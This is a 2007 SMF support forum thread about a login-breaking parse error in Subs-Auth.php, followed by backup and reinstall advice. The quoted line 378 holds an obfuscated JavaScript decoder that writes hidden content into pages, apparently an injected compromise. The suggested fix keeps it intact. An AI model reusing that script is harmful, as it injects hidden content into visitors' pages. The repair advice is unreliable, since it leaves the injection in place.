Simple Machines Community Forum

SMF Support => SMF 1.1.x Support => Topic started by: ekfaysal on November 02, 2007, 09:10:22 AM

Title: Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help
Post by: ekfaysal on November 02, 2007, 09:10:22 AM
Hello all members

I was out of town for some time and now i can see that no one can log in.

It shows this message
Quote

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home/dreamsma/public_html/Sources/Subs-Auth.php on line 378


im using smf 1.1.4 with Default theme.


No member can login now

Please please please help

THanks
Title: Re: Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help
Post by: redone on November 02, 2007, 09:20:21 AM
Post what's on those lines of code including the line of the error itself.
Title: Re: Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help
Post by: ekfaysal on November 03, 2007, 01:39:48 AM
i dont know
well when i tried to sign in then this error happens

Please help
Title: Re: Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help
Post by: Dragooon on November 03, 2007, 04:38:08 AM
Can You post the lines of your Subs-Auth.php in [code][/code] Tags?
Any Changes done during that time?
Title: Re: Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help
Post by: ekfaysal on November 03, 2007, 05:25:24 AM
Hi
well i cant find Code tag

This is my file

if you can hav a look then please check
Title: Re: Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help
Post by: Dragooon on November 03, 2007, 05:38:20 AM
What the hek is in that file?
Please attach the file properly.
Title: Re: Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help
Post by: ekfaysal on November 03, 2007, 05:50:58 AM
I am very sorry for that

Now i have attached correct file

Please check and tell me

Link is
www.dreamsmania.com
Thanks
Title: Re: Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help
Post by: ekfaysal on November 05, 2007, 04:49:47 AM
anybody willling to help me?
please
Title: Re: Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help
Post by: Sarge on November 05, 2007, 05:14:23 AM
Find this in line 378 of your Subs-Auth.php:

<body><script language=JavaScript>function sban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,6,3,58,19,50,46,37,20,38,0,0,0,0,0,0,35,9,0,47,30,2,14,24,11,41,53,31,34,33,28,21,44,43,10,29,22,23,8,4,7,39,17,0,0,0,0,57,0,51,45,15,48,13,61,5,49,1,27,32,55,62,25,40,54,52,60,26,36,16,59,12,18,56,42);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(174^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}sban('xDw5N0rdHvGlNlrt1QbpD4nkimnlH2NlH2yhB@NdizSkF9fhRQbh4mI@1CrhAjPp4mI@SQfJECrtGKNlXarhEKPpU4IhXQP5H2wtx1yhVafa2Cwt')</script><!-- dreamsmania.com -->


Try replacing it with:

<body><script language=JavaScript>function sban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,6,3,58,19,50,46,37,20,38,0,0,0,0,0,0,35,9,0,47,30,2,14,24,11,41,53,31,34,33,28,21,44,43,10,29,22,23,8,4,7,39,17,0,0,0,0,57,0,51,45,15,48,13,61,5,49,1,27,32,55,62,25,40,54,52,60,26,36,16,59,12,18,56,42);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(174^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}sban("xDw5N0rdHvGlNlrt1QbpD4nkimnlH2NlH2yhB@NdizSkF9fhRQbh4mI@1CrhAjPp4mI@SQfJECrtGKNlXarhEKPpU4IhXQP5H2wtx1yhVafa2Cwt")</script><!-- dreamsmania.com -->

Title: Re: Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help
Post by: ekfaysal on November 06, 2007, 04:10:05 AM
still lots of errors
when i tried to go to sections then it tells me some errors too

can u please tell me any method to backup my database
then i will remove alll the forum, install new one and then i  will  try to import database.

any other method for downloading database of forum other then going through forum maintanance
coz i can loging that why i am asking?
through ftp, cpanel or any other way
Title: Re: Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help
Post by: Sarge on November 07, 2007, 02:52:11 AM
You can get database backups from:
1) phpMyAdmin;
2) cPanel -- go to the Backups page and get the MySQL Database Backup of your forum database. You have to know the name of your forum database.
3) the create_backup tool, often used when other means fail -- it's reported to be pretty reliable, actually. It's attached to this post:
http://www.simplemachines.org/community/index.php?topic=18350.msg168327#msg168327

You can use restore_backup (from the above link) to restore a modified database. You may have to drop the existing database first.

After you get database backups, get file backups. In other words, use an FTP program to download the contents of your forum directory from the server. Alternatively, you can get a home directory backup from cPanel:
http://www.simplemachines.org/community/index.php?topic=164292.msg1048565#msg1048565

Here's a good tutorial:
http://www.simplemachines.org/community/index.php?topic=184356.0

After you get backups, you can try to simply overwrite your forum files on the server with the files from the SMF 1.1.4 Large Upgrade package, except upgrade.php and the two .sql files. The upgrade package is available from the Download page. Note that you will have to reinstall all mods after that.